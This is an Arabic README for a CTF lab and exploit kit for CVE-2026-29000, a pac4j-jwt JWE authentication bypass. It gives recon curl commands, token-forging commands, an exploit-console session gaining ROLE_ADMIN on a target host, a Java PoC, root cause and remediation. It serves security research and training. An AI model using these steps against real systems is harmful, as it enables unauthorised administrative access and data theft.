# مجموعة أدوات مختبر CTF واستغلال الثغرات لـ CVE-2026-29000، وهي ثغرة تجاوز المصادقة في pac4j-jwt JWE تتضمن هدف Flask قابل للاستغلال، ومكتبة تزوير الرموز، ووحدة تحكم تفاعلية للاستغلال، ونموذج إثبات مفهوم بلغة Java.
مختبر CTF لدراسة ثغرة المصادقة JWE في مكتبة pac4j-jwt CVSS 9.3 (حرجة) · CWE-287 · المتأثر: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
تسمح pac4j-jwt في الإصدارات المتأثرة بتجاوز آلية مصادقة JWT بالكامل عن طريق إنشاء PlainJWT (alg=none, بدون توقيع) ثم تغليفه داخل JWE (تشفير JSON للويب). بعد فك تشفير طبقة JWE، لا تتحقق المكتبة من خوارزمية JWT الداخلي — يتم الوثوق بالمطالبات (claims) بشكل كامل، بما في ذلك الدور (role).
سلسلة الهجوم:
X-Powered-By: pac4j/6.0.3 ← تسريب الإصدار → تحديد الإطار
↓
OIDC Discovery → JWKS → المفتاح العام RSA ← معلومات عامة
↓
تزوير JWE (PlainJWT alg=none, ROLE_ADMIN)
↓
تجاوز المصادقة → GET /admin?token=<JWE> ← الوصول للوحة الإدارة
↓
قراءة البيانات الحساسة: قائمة الموظفين، إعدادات النظام، العلم (flag)
CVE-2026-29000/
├── lab/ # الهدف – تطبيق Flask (بوابة موظفي NexusBank)
│ ├── app.py # التطبيق الرئيسي المصاب بالثغرة
│ ├── Dockerfile # العلم (flag) مدمج في /flag.txt أثناء البناء
│ └── requirements.txt
│
├── token_forge/ # مكتبة بايثون لإنشاء رموز JWE مزورة
│ ├── forge.py # forge_token()
│ ├── jwe_builder.py
│ ├── keys.py
│ ├── claims.py
│ └── cli.py # واجهة الأوامر: python -m token_forge
│
├── scripts/
│ └── exploit.py # وحدة استغلال تفاعلية (بأسلوب Metasploit)
│
├── poc/ # إثبات المفهوم بلغة جافا – تأكيد التجاوز داخل العملية
│ ├── src/main/java/Poc.java
│ └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt
| الأداة | الإصدار | ملاحظات |
|---|---|---|
| Docker Desktop | 24+ | لتشغيل الهدف المخبري |
| Docker Compose | v2+ | مدمج في Docker Desktop |
| بايثون | 3.11+ | لتشغيل exploit.py و token_forge |
| جافا + Maven | 11+ | مطلوب فقط لإثبات المفهوم بلغة جافا |
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
# لينكس / ماك
python -m venv .venv && source .venv/bin/activate
# ويندوز
python -m venv .venv && .venv\Scripts\activate
pip install -r requirements.txt
docker compose up -d lab
تأكد من أن المختبر يعمل:
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
تخصيص العلم (flag):
docker compose build --build-arg FLAG="CTF{custom_flag}" lab docker compose up -d lab
docker compose down
exploit.py هي وحدة تحكم تفاعلية بأسلوب Metasploit. يقوم المستخدم بإجراء الاستطلاع (recon) لجمع المعلومات، ثم يهيئ ويستغل.
python scripts/exploit.py
# أو الإعداد المسبق من سطر الأوامر:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080
مثال على جلسة كاملة:
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31
jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)
jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json
jwe-bypass > run
[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned roles: ['ROLE_ADMIN']
Auth bypass successful!
Open in your browser:
http://192.168.1.31:8080/admin?token=eyJ...
افتح الرابط أعلاه في المتصفح للوصول إلى لوحة الإدارة.
PUBKEY يدعم 3 صيغ:
# 1. رابط JWKS — جلب تلقائي (موصى به)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
# 2. ملف تم تنزيله
set PUBKEY /tmp/key.json
# 3. لصق JSON الخام مباشرة
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
# اكتشاف الإطار عبر ترويسة الاستجابة
curl -sI http://TARGET:8080
# البحث عن نقاط النهاية المخفية
curl -s http://TARGET:8080/robots.txt
# RFC 8414: pac4j يعرض هذه النقطة دائمًا
curl -s http://TARGET:8080/.well-known/openid-configuration
# الحصول على المفتاح العام RSA من jwks_uri
curl -s http://TARGET:8080/.well-known/jwks.json
python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--subject attacker \
--roles ROLE_ADMIN
TOKEN=$(python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--roles ROLE_ADMIN 2>/dev/null)
# تأكيد التجاوز
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile
# فتح لوحة الإدارة في المتصفح
echo "http://TARGET:8080/admin?token=$TOKEN"
from token_forge import forge_token, load_public_key_from_jwks_url
key = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
تأكيد التجاوز مباشرة داخل JVM باستخدام Nimbus JOSE + pac4j 6.0.3:
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
# طباعة الرمز فقط
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
pytest tests/ -v
# مع تقرير التغطية
pytest tests/ -v --cov=token_forge --cov-report=term-missing
| الموقع | المشكلة |
|---|---|
JwtAuthenticator.validateToken() | بعد فك تشفير JWE، يستدعي PlainJWT.parse() بدلاً من SignedJWT.parse() |
_payload_to_claims() في المختبر | base64decode + json.loads مباشرة، بدون التحقق من التوقيع |
مسار المعالجة الخاطئ:
JWE decrypt → الحصول على الحمولة → base64decode → json.loads → الوثوق بالمطالبات
↑ خطوة التحقق من توقيع JWT الداخلي مفقودة
| الإجراء | التفاصيل |
|---|---|
| ترقية pac4j-jwt | إلى >= 6.3.3 / 5.7.9 / 4.5.9 |
| رفض PlainJWT | التحقق من alg != "none" بعد فك تشفير JWE |
| إزالة ترويسة الإصدار | تعطيل X-Powered-By في بيئة الإنتاج |
| أقل امتياز | عدم تشغيل الحاوية بصلاحيات الجذر |
تحذير: هذا المستودع مخصص فقط لأغراض البحث الأمني وCTF في بيئة خاضعة للتحكم. لا تستخدمه على أنظمة غير مصرح بها.